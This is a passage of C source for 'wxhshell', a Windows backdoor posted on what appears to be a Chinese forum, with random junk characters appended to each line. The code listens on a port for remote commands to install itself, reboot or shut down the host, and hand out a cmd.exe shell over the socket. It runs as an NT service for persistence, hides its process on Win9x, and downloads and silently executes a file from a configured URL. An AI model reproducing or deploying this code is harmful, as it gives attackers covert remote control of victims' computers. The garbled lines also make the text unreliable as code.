      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; *ZiH%q,  
    break; _u] S/X-  
  } #}lq2!f6  
  // 安装 eoGGWW@[  
  case 'i': { 4b@ Awtk  
    if(Install()) *a[iq`499  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o9JZ -biH  
    else Py! F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d1{%z\u a  
    break;  L7rEMq  
    } FSNzBN  
  // 卸载 D=!T,p=  
  case 'r': { !uxma~ZH-  
    if(Uninstall()) }rKKIF^f\S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M&h`uO/[  
    else \Um &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `at>X&Ce,  
    break; F8* zG 4/&  
    } ?AlTQL~c  
  // 显示 wxhshell 所在路径  TNj WZ  
  case 'p': { 713)D4y}  
    char svExeFile[MAX_PATH]; LvcGh  
    strcpy(svExeFile,"\n\r"); `9vCl@"IV  
      strcat(svExeFile,ExeFile); }|-Yd"$  
        send(wsh,svExeFile,strlen(svExeFile),0); ][[\!og  
    break; -udKGrT+  
    } vUD>+*D  
  // 重启 q)F@f /  
  case 'b': { #*v:.0%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {{+woL'C  
    if(Boot(REBOOT)) a'prlXr\4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yu9 8d1  
    else { [ }1+=Ub  
    closesocket(wsh); ,b!]gsds  
    ExitThread(0); k4!z;Yq  
    } JZom#A. dt  
    break; t$k$ Hd';  
    } l6y*SW5+  
  // 关机 ,f3Ck*M  
  case 'd': {  dl;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T0F!0O `  
    if(Boot(SHUTDOWN)) 9i`sSi8   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >ZjGs8&  
    else { okSCM#&:[2  
    closesocket(wsh); OO  /Pc  
    ExitThread(0); d :%!)s  
    } @`S8d%6P  
    break; )m4O7'2G  
    } +1(L5Do}  
  // 获取shell S1Ql%Yk-(  
  case 's': { |j> fsk~  
    CmdShell(wsh); c.JMeh  
    closesocket(wsh); WY`hNT6M  
    ExitThread(0); Vv<Tjr  
    break; jxdxIkAHZc  
  } j?gsc Q3  
  // 退出 N8K @ch3=P  
  case 'x': { [;*Vm0>t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q7-.-k<dQ  
    CloseIt(wsh); cUPC8k.1  
    break; B(l8&  
    } [T>a}}@  
  // 离开 gZ&' J\  
  case 'q': { _5l3e7YN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )?D w)s5  
    closesocket(wsh); CDRkH)~$  
    WSACleanup(); #'2CST  
    exit(1); mok%TK  
    break; 7Ew.6!s#n1  
        } SWZA`JVK  
  } JAA{5@ST  
  } {24Y1ohK  
ocbNf'W;  
  // 提示信息 u{>_Pb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o7B }~;L  
} rh%-va9  
  } ZUiI nO  
o 2Okc><z  
  return;  SK&?s`  
} sM0o,l(5  
<z+b88D  
// shell模块句柄 !?%'Fy6t  
int CmdShell(SOCKET sock) ^>H+#@R  
{ erQ0fW  
STARTUPINFO si; UvPD/qu$8D  
ZeroMemory(&si,sizeof(si)); 7HkQ|~zGT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Il&}4#:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h~zG*B5F  
PROCESS_INFORMATION ProcessInfo; R:}u(N  
char cmdline[]="cmd"; {?zbrgQ<Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (K>=!&tlp=  
  return 0; m?$peRn3{  
} `4N{x.N  
|loo ^!I  
// 自身启动模式 Edi`x5"l  
int StartFromService(void) *wOuw@09  
{ 1G6MO  
typedef struct <y30t[.E6  
{ -Ze{d$  
  DWORD ExitStatus; V7qc9Gd@I  
  DWORD PebBaseAddress; 9^5D28y  
  DWORD AffinityMask; `T \"B%  
  DWORD BasePriority; :1O1I2L0  
  ULONG UniqueProcessId; ,*w  
  ULONG InheritedFromUniqueProcessId; &D[pX|!  
}   PROCESS_BASIC_INFORMATION; w_sA8B  
(3;dtp>Xx  
PROCNTQSIP NtQueryInformationProcess; DIU9Le  
.;'3Roi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `Rc7*2I)l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EC6Q<&]Iw  
+[sZE X  
  HANDLE             hProcess; /#,3JU$w  
  PROCESS_BASIC_INFORMATION pbi; .PhH|jrCW^  
s.)nS $  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z U~o"Jv  
  if(NULL == hInst ) return 0; UI,i2<&  
MGmUgc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  / hl:p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?5oeyBA@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N{$'-[  
{D(_"  
  if (!NtQueryInformationProcess) return 0; c&o|I4|Y,  
gtBnP~zT\B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $YyN-C  
  if(!hProcess) return 0; 0{ O|o_  
MwlhL?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TyCMZsvM,  
5$T>noD  
  CloseHandle(hProcess); _(q|W3  
onuhNn_=>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zgdOugmmt_  
if(hProcess==NULL) return 0; -[I}"Glz:  
'kD~tpZ  
HMODULE hMod; U1>VKP;5Nn  
char procName[255]; B`/c Kfg  
unsigned long cbNeeded; RtR5ij1  
=H F||p@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3']yjj(gHr  
J)w58/`?t  
  CloseHandle(hProcess); "o*zZ;>^  
l1|z; $_z  
if(strstr(procName,"services")) return 1; // 以服务启动 qGE?[\t[6  
r`Qzn" H  
  return 0; // 注册表启动 O!b >  
} AU@XpaPWh  
-1Luyuy/`  
// 主模块 r2EIhaGF;  
int StartWxhshell(LPSTR lpCmdLine) u= |hRTD=  
{ 31n5n  
  SOCKET wsl; dJhT}"x  
BOOL val=TRUE; qq&G~y  
  int port=0; S >PTD@  
  struct sockaddr_in door; ;)^eDJ<  
XeaO,P  
  if(wscfg.ws_autoins) Install(); ccWz,[  
ldJ:A*/M6  
port=atoi(lpCmdLine); TB]B l.  
!cs +tm3  
if(port<=0) port=wscfg.ws_port; 4JTFdbx  
Kf XE=v{t  
  WSADATA data; D cN s`2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c1IK9X*  
R~,*W1G6sF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sLV bFN`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <t{T]i+  
  door.sin_family = AF_INET; )+[{MR '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z#wmEc.}C  
  door.sin_port = htons(port); =TDK$Ek  
MorR&K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Nr :YI  
closesocket(wsl); (mvAEN+y  
return 1; (;o,t?:d  
} Oj# nF@U  
E%M~:JuKd?  
  if(listen(wsl,2) == INVALID_SOCKET) { <;d?E%`  
closesocket(wsl); =Tf uwhV  
return 1; 1.]Py"@:  
} V4GcW|P4y  
  Wxhshell(wsl); T!uK _  
  WSACleanup(); Aw )='&;^z  
]3_oT^$:  
return 0; S~+}_$  
(m[]A&u  
} n&x#_B-  
Be{7Rj v  
// 以NT服务方式启动 DWep5$>&K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uE~? 2G  
{ qby!  
DWORD   status = 0; &eQF[8 ,  
  DWORD   specificError = 0xfffffff; ?d1H]f<M  
?]}1FP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UNcS\t2N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7p&%0'BO1z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7WG"_A~V  
  serviceStatus.dwWin32ExitCode     = 0; u>j:8lhtV  
  serviceStatus.dwServiceSpecificExitCode = 0; i,BE]w  
  serviceStatus.dwCheckPoint       = 0; #$xiqL  
  serviceStatus.dwWaitHint       = 0; ir<HC 'D[  
RYD V60*O6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vkdchc  
  if (hServiceStatusHandle==0) return; Kw}-<y  
jE.U~D)2YF  
status = GetLastError(); S,LW/:,  
  if (status!=NO_ERROR) LuS] D%  
{ <U=:N~L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Letpygm  
    serviceStatus.dwCheckPoint       = 0; ;"=a-$vm  
    serviceStatus.dwWaitHint       = 0; QfJ?'*  
    serviceStatus.dwWin32ExitCode     = status; U]lXw+&  
    serviceStatus.dwServiceSpecificExitCode = specificError; `#hdb=3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  L2[|g~  
    return; dI<s)!  
  } !L"3Otd  
+5Yc/Qp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MNNPBE  
  serviceStatus.dwCheckPoint       = 0; 0n+Wv @/  
  serviceStatus.dwWaitHint       = 0; yzW9A=0A)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <l(6$~(-u  
} q bb:)>  
LbDhPG`u  
// 处理NT服务事件,比如:启动、停止 Q+E%"`3V4l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tm@d;O'E1  
{ ~M%r.WFpA  
switch(fdwControl) NvWwj%6]  
{  L3P_  
case SERVICE_CONTROL_STOP: ~?8B~l^  
  serviceStatus.dwWin32ExitCode = 0; 09`5<9/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dIe-z7x  
  serviceStatus.dwCheckPoint   = 0; >I Aw Nr  
  serviceStatus.dwWaitHint     = 0; W'6~`t  
  { =1fO"|L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &*RJh'o|N(  
  } l@nkR&4[  
  return; K~OfC  
case SERVICE_CONTROL_PAUSE: )nyud$9w'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D+d\<":  
  break; oqHI`Tu  
case SERVICE_CONTROL_CONTINUE: b5_(Fv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {`BC$V  
  break; H[ocIw  
case SERVICE_CONTROL_INTERROGATE: \k_0wt2x1  
  break; *; . l/  
}; #\*ODMk$4|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4A.ZMH  
} g2.%x \d  
J:Uf}!D  
// 标准应用程序主函数 48Y5ppcS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {;]:}nA  
{ 'CsD[<  
O{rgx~lLJt  
// 获取操作系统版本 Dp!3uR ']p  
OsIsNt=GetOsVer(); 5fPYtVm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +lmMBjDa  
u{xjFx-  
  // 从命令行安装 /\*,|y\<  
  if(strpbrk(lpCmdLine,"iI")) Install(); [4sI<aH  
H[?~u+  
  // 下载执行文件 "&%: 9O  
if(wscfg.ws_downexe) { 2 |w;4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ork/:y9*y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y%:FawR  
} mz;S*ONlV  
]YYjXg}%  
if(!OsIsNt) { jC> l<d_  
// 如果时win9x,隐藏进程并且设置为注册表启动 _,(]T&j #2  
HideProc(); |xy r6gY  
StartWxhshell(lpCmdLine); \^2%v~  
} &hWLG<IE  
else cy8+@77  
  if(StartFromService()) YUd*\_  
  // 以服务方式启动 yHkZInn  
  StartServiceCtrlDispatcher(DispatchTable); Va,M9)F  
else  ::Y   
  // 普通方式启动 =SPuOy8  
  StartWxhshell(lpCmdLine); "f\2/4EIl  
-=,%9r  
return 0; c0jdZ#H  
}
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只看该作者 1 发表于: 2006-10-10
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